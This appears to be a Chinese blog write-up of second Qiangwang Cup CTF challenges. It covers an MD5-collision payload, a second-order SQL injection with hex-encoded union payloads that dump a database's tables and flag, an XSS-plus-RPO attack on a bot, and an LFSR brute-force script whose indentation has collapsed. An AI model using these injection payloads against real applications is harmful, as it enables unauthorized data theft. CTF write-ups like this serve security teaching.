第二届强网杯wp

web

web签到

利用了md5碰撞

payload为

param1 =%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&&

$param2 = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

第二届强网杯wp


Three hit

拿到地址看到你是一个登陆页面,就不注册先登录看看是什么,随便用一个账号测试一下,看看能不能登陆

第二届强网杯wp

账号,密码:123 123,(第一次进就是有那么个123用户)发现登陆成功,页面回显4个部分,名字,年龄,相同年龄的用户名,和相同年龄,明显的涉及到SQL语句对数据库进行查询,并且一定是年龄有关系,因为是查询条件是根据年龄数来的,查询相同年龄的那个人。

第二届强网杯wp

开始寻找注入点>>>>>>>找半天发现,查源码发现这个注册页面,就在旁边的大铅笔

第二届强网杯wp

第二届强网杯wp

注册一个

第二届强网杯wp

登录没有人和其年龄相同

第二届强网杯wp

说明年龄就是SQL后面的where条件,那就简单了使用 union 达到二次注入,获取信息就可以了 还有名字可做为可显字段就免去盲注了,构造一个

payload:1 and 1=2 union select (select 1),(select 2) # 来猜猜有多少个字段和可显字段在哪

第二届强网杯wp

但是发现age存在限制,只可以是数字,而且名字做了限制 只允许数字和字母,剔除标点符号

第二届强网杯wp

Age字段就是说只要是数字就OK,常用的套路,用小葵SQL转hex,让payload转化为满足数字类型的16进制就可以bypass了啊,

第二届强网杯wp

现在最大问题就是找到union前面是几个字段因为union前后字段数要相同嘛,还要找到哪个字段可显,没办法 就是这么狗,一个一个试着来(什么单引号、双引号、全都考虑了)

1 and 1=2 union select (select 1),(select 2),(select 3) #

转化hex 注册 登录

1 and 1=2 union select (select 1),(select 2),(select 3),(select 4) #

转化hex 注册 登录

发现成了,4个字段就可以了,而且第二个字段是可显的, 就在那个地方查到想要的flag

第二届强网杯wp

Payload:

查表:

1 and 1=2 union select  1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

第二届强网杯wp

查字段:

1 and 1=2 union select  1,(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167),3,4#

第二届强网杯wp

查内容:

1 and 1=2 union select  1,(select flag from flag),3,4#

第二届强网杯wp

得到flag


Share your mind

这道题利用的是rpo 结合xss

在write界面写入xss语句,目的是让bot访问

第二届强网杯wp

由于bot在report页面,所以我们要利用rpo将bot转向overview

第二届强网杯wp

下面的这个验证码一个脚本

第二届强网杯wp

服务器接受提示

第二届强网杯wp

第二届强网杯wp

使用js转换目录

第二届强网杯wp

得到flag

第二届强网杯wp


crypto

streamgame1

两个文件

Key文件乱码,没怎么管

看了下streamgame1.py

第二届强网杯wp

程序思路

第二届强网杯wp

看完之后写了下思路,想通过写个方向算法破解的,想了一下午算了

直接爆破

根据len(flag)=25和

flag.startswith(“flag{“) 和flag.endswith(“}”)

判断flag应该有20位

在根据mask值,flag应该在 0b1000000000000000000~0b1111111111111111111之间

然后根据streamgame1.py的算法生成key与原key中的值相匹配就能得出flag,思路是这样

爆破脚本如下

import binascii
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit) for flag in range(0b1000000000000000000,0b1111111111111111111):
flag=str(bin(flag)).replace('0b','')
flag = "flag{"+flag+"}"
R=int(flag[5:-1],2)
mask=0b1010011000100011100 f=open("key","wb")
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.write(chr(tmp))
f.close() fh = open('key', 'rb')
a = fh.read()
hexstr = binascii.b2a_hex(a) print(hexstr)
if(hexstr=='5538f742c10db2c7ede0243a'):
print('get flag!')
print(flag)
break

剩下的streamgame2,3,4都是这样一个思路爆破

上一篇:Linux下网站根目录权限


下一篇:自学Linux Shell6.1-环境变量概念